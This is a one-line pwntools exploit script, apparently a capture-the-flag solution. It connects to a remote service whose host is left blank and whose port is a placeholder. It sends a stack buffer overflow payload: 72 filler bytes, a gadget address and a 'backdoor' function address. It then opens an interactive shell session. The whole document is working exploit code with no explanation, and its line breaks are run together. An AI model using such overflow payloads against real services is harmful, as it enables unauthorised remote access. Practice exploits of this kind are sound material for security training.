from pwn import *p = remote(' ',端口号) backdoor_addr = 0x401146 payload = b'A' * 72 +p64(0x40115B) + p64(backdoor_addr)p.sendline(payload) p.interactive()
